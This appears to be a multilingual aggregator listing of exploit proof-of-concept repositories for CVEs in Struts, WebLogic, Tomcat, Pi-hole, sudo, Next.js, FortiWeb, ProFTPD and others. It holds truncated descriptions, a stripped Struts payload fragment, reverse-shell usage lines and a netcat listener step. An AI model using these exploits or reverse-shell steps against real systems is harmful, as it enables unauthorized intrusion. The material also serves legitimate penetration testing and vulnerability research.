S2-052

CVE-2017-9805 （S2-052）反弹Shell Exploit 影响版本 root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.int...

CVE-2020-35713

Descripción Los dispositivos Belkin LINKSYS RE6500 anteriores a la versión 1.0.012.001 permiten a atacantes remotos ejecutar comandos arbitrarios o establecer una nueva contraseña mediante metacaracteres de shell en la página goform/setSysAdm. Cómo usar Paso 1: Modificar la dirección IP en el...

CVE-2019-11223

CVE-2019-11223 WordPress插件SupportCandy 2.0以下版本中的任意文件上传 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

CVE-2014-7205

Bassmaster NodeJS 插件 RCE PoC bassmaster-rce.py：一个用于利用 CVE-2014-7205 的 Python 脚本。 nodeshell.py：一个用于生成 NodeJS 反向 shell 的 Python 模块。 ！！仅可用于您拥有测试权限的服务器 概述 CVE-2014-7205 是 Bassmaster NodeJS 插件中的一个远程代码执行漏洞。所有版本 = 1.5.1 均受影响。该漏洞存在于 lib/batch.js 文件中的 internals.batch 函数中，其中对 eval...

CVE-2020-8816

CVE-2020-8816 一个用于利用CVE-2020-8816（Pi-hole上的远程代码执行漏洞）的Python脚本。 该脚本使用了François Renaud-Philippon发现的技术，对运行着低于4.3.3版本Web界面的Pi-hole实现远程代码执行。漏洞利用要求www-data用户的路径为/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin。 root@kitploit: python3 .\CVE-2020-8816.py -h usage: CVE-2020-8816.py...

Shellshock

Shellshock 漏洞利用 CVE-2014-6271 漏洞利用 描述 该仓库包含针对影响 Unix 系统的漏洞的利用代码。请注意，这仅是一个用于教育目的的概念验证脚本，应负责任地使用。 此利用代码旨在演示 Shellshock 攻击的工作原理，以及如何通过恶意构造的请求头获取系统 shell 访问权限。 免责声明 此仓库仅用于教育目的。请勿将此代码或其中包含的任何信息用于恶意目的。始终遵守道德准则并尊重法律。 使用方法： root@kitploit: python3 shellshock.py 目标 URL 本机 IP 本机端口 示例： root@kitploit: python3...

CVE-2024-50379

CVE-2024-50379 概念验证 PoC 此仓库包含一个概念验证 PoC 脚本，用于利用 CVE-2024-50379 ，这是 Apache Tomcat 中的一个漏洞。该漏洞是一个检查时间与使用时间 TOCTOU 竞争条件漏洞，如果服务器配置允许可写目录，则可能导致远程代码执行 RCE。 特性 将恶意 JSP Shell 上传到存在漏洞的 Apache Tomcat 服务器。 通过上传的 Shell 执行任意系统命令。 演示 CVE-2024-50379 的利用过程。 要求 Python ：3.x 版本 Python 库 ：requests 使用以下命令安装：...

CVE-2017-10271

Descripción breve Ejecución de comandos con respuesta Subida directa de shell Probado en Weblogic 10.3.6.0 en Linux, funciona correctamente Uso python weblogicwlswsatexp.py -t 172.16.80.131:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments:...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 的 PoC 来源:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2012-2593

Atmail XSS-CSRF-RCE 漏洞利用链 PoC atmail-rce.py：利用 Atmail 网页邮件界面中的 CVE-2012-2593 漏洞。 atmail-csrf.js：利用 CVE-2012-2593 实现 CSRF 攻击的 JavaScript 文件，用于安装恶意插件并执行反向 Shell。 Plugin.php：待安装的 Atmail 插件，用于调用反向 Shell。 !!仅用于已获得测试权限的服务器 概述 Atmail 邮件服务器 6.4 版本在邮件头的 Date 字段和邮件正文（通过 iFrame 注入）中存在 XSS 漏洞。利用此漏洞结合...

CVE-2022-42889

快速开始 root@kitploit: sudo apt install golang 像运行 Python 一样运行： root@kitploit: go run main.go arg1 arg2 构建可执行文件： root@kitploit: go build main.go 用法： root@kitploit: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' 待办事项： 反向 Shell 功能...

cve-2025-32463-lab

CVE-2025-32463 – Sudo chroot 本地权限提升实验环境 本仓库包含一个基于 Docker 的实验环境和针对 CVE-2025-32463 的概念验证漏洞利用代码，该漏洞是 sudo（版本 1.9.14 至 1.9.17）中的一个本地权限提升漏洞。 🚨 免责声明 此代码仅用于教育和授权测试目的。请勿在您不拥有或未经明确许可的系统上使用。 实验环境特点 使用 sudo 1.9.15p5 的易受攻击的 Ubuntu 24.04 容器 非特权用户（labuser） 漏洞利用脚本：sudo-chwoot.sh 用于轻松搭建的 Dockerfile 快速开始...

React2Shell

🚀 R2S - Next.js RSC 漏洞利用框架 用于 Next.js React Server Components RCE 的高级后渗透利用框架 特性 • 安装 • 使用 • 命令 • 示例 📋 概述 R2S 是一个针对 Next.js React Server Components 漏洞（CVE-2025-55182）的综合性利用与后渗透利用框架。它提供了一个交互式 shell，具备高级功能，可用于渗透测试，包括文件传输、持久化、枚举、权限提升检测等。 🎯 关键能力 ✅ 自动化漏洞扫描 - 批量扫描多个目标 ✅ 交互式 RCE shell - 带目录导航的状态化命令执行 ✅...

CVE-2007-2447

CVE-2007-2447 Para probar el script, recomiendo la máquina virtual "Metasploitable 2" disponible aquí. El script mostrará una reverse shell si el exploit funciona. Para obtener la conexión, simplemente abra una sesión de netcat como: root@kitploit: netcat -lnvp Tabla de contenidos Ejemplos...

CVE-2025-46271-Reverse-Shell-PoC

CVE-2025-46271-Reverse-Shell-PoC 免责声明 此仓库仅供教育目的。此处提供的信息旨在帮助开发者理解漏洞并保护他们的系统。请勿恶意或未经许可使用此漏洞利用。使用此PoC的风险自负。作者不对因使用此信息而产生的任何损害或法律问题负责。...

CVE-2025-52970

CVE-2025-52970 FortiWeb 认证绕过到远程代码执行漏洞利用程序 功能特性 武器化：添加交互式 Shell 实现远程代码执行 使用方法 root@kitploit: python CVE-2025-52970.py -t target.com 演示 参考来源 https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass 免责声明 此概念验证代码仅用于教育目的，本人不对任何恶意使用负责。...

POC-exploit-for-Dolibarr

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE mediante Inyección de Lua Autor: 0xgh057r3c0n 🧠 Descripción Este exploit aprovecha una vulnerabilidad de inyección de Lua en el manejador de inicio de sesión loginok.html de Wing FTP Server para ejecutar comandos arbitrarios del sistema operativo u obtener una...

CVE-2022-1609

CVE-2022-1609 PoC en Bash para CVE-2022-1609 WordPress Weblizar Backdoor ¿Cómo instalar? root@kitploit: wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh ¿Cómo usarlo? root@kitploit: NullBrunk$ ./exploit.sh http://127.0.0.1:8080 +...

ProFTPD_CVE-2015-3306

m4ud Exploit RCE de ProFTPD 1.3.5 CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...